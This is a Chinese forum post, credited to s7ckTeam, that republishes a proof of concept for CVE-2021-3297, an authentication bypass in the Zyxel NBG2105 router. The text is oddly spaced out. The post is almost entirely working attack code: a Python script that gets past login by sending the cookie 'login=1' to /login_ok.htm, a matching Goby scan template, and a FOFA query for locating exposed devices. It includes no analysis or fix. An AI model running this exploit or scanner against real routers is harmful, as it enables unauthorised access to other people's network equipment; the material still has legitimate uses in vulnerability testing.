[20562] 2021-04-06_ZyxelNBG2105身份验证绕过CVE-2021-3297

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2021-04-06_ZyxelNBG2105身份验证绕过CVE-2021-3297 Z y x e l   N B G 2 1 0 5     C V E - 2 0 2 1 - 3 2 9 7 S e c 5 0 4   K h a n   2 0 2 1 - 0 4 - 0 6 P O C Z y x e l _ N B G 2 1 0 5 _ C o o k i e _ C V E _ 2 0 2 1 _ 3 2 9 7 . j s o n #   / u s r / b i n / p y t h o n 3 i m p o r t   r e q u e s t s i m p o r t   s y s f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g " " "         b y   S e c         f o f a a p p = " Z y X E L - N B G 2 1 0 5 " " " " d e f   p o c ( u r l ) :         e x p   =   u r l   +   " / l o g i n _ o k . h t m "         h e a d e r   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 1 1   S a f a r i / 5 3 7 . 3 6 " ,                 " c o o k i e " : " l o g i n = 1 " ,         }         t r y :                 r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )                 r e s p o n s e   =   r e q u e s t s . g e t ( u r l = e x p ,   h e a d e r s = h e a d e r ,   v e r i f y = F a l s e , t i m e o u t = 1 0 )                 # p r i n t ( r e s p o n s e . t e x t )                 i f   r e s p o n s e . s t a t u s _ c o d e   = =   2 0 0   a n d   " G M T "   i n   r e s p o n s e . t e x t :                         p r i n t ( e x p   +   "   Z y x e l   N B G 2 1 0 5     C V E - 2 0 2 1 - 3 2 9 7 " )                         p r i n t ( " " )                         p r i n t ( r e s p o n s e . t e x t )                 e l s e :                         p r i n t ( e x p   +   "   Z y x e l   N B G 2 1 0 5     C V E - 2 0 2 1 - 3 2 9 7 " )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( e x p   +   " " ) d e f   m a i n ( ) :         u r l   =   s t r ( i n p u t ( " u r l " ) )         p o c ( u r l ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         m a i n ( ) {             " N a m e " :   " Z y x e l   N B G 2 1 0 5   C o o k i e   C V E - 2 0 2 1 - 3 2 9 7 " ,             " L e v e l " :   " 2 " ,             " T a g s " :   [ ] ,             " G o b y Q u e r y " :   " a p p = " Z y X E L - N B G 2 1 0 5 " " ,             " D e s c r i p t i o n " :   " Z y x e l   N B G 2 1 0 5   C o o k i e   C V E - 2 0 2 1 - 3 2 9 7 " ,             " P r o d u c t " :   " " ,             " H o m e p a g e " :   " S e c " ,             " A u t h o r " :   " S e c " ,             " I m p a c t " :   " " ,             " R e c o m m a n d a t i o n " :   " " ,             " R e f e r e n c e s " :   [                         " h t t p s : / / g o b i e s . o r g / "             ] ,
            ] ,             " S c a n S t e p s " :   [                         " A N D " ,                         {                                     " R e q u e s t " :   {                                                 " m e t h o d " :   " G E T " ,                                                 " u r i " :   " / l o g i n _ o k . h t m " ,                                                 " f o l l o w _ r e d i r e c t " :   t r u e ,                                                 " h e a d e r " :   {                                                             " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 1 1   S a f a r i / 5 3 7 . 3 6 " ,                                                             " c o o k i e " : " l o g i n = 1 "                                                 } ,                                                 " d a t a _ t y p e " :   " t e x t " ,                                                 " d a t a " :   " "                                     } ,                                     " R e s p o n s e T e s t " :   {                                                 " t y p e " :   " g r o u p " ,                                                 " o p e r a t i o n " :   " A N D " ,                                                 " c h e c k s " :   [                                                             {                                                                         " t y p e " :   " i t e m " ,                                                                         " v a r i a b l e " :   " $ c o d e " ,                                                                         " o p e r a t i o n " :   " = = " ,                                                                         " v a l u e " :   " 2 0 0 " ,                                                                         " b z " :   " "                                                             } ,                                                             {                                                                         " t y p e " :   " i t e m " ,                                                                         " v a r i a b l e " :   " $ b o d y " ,                                                                         " o p e r a t i o n " :   " c o n t a i n s " ,                                                                         " v a l u e " :   " G M T " ,                                                                         " b z " :   " "                                                             }                                                 ]                                     } ,                                     " S e t V a r i a b l e " :   [ ]                         }             ] ,             " P o s t T i m e " :   " 2 0 2 1 - 0 4 - 0 6   1 0 : 0 2 : 3 7 " ,             " G o b y V e r s i o n " :   " 1 . 8 . 2 3 9 " }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则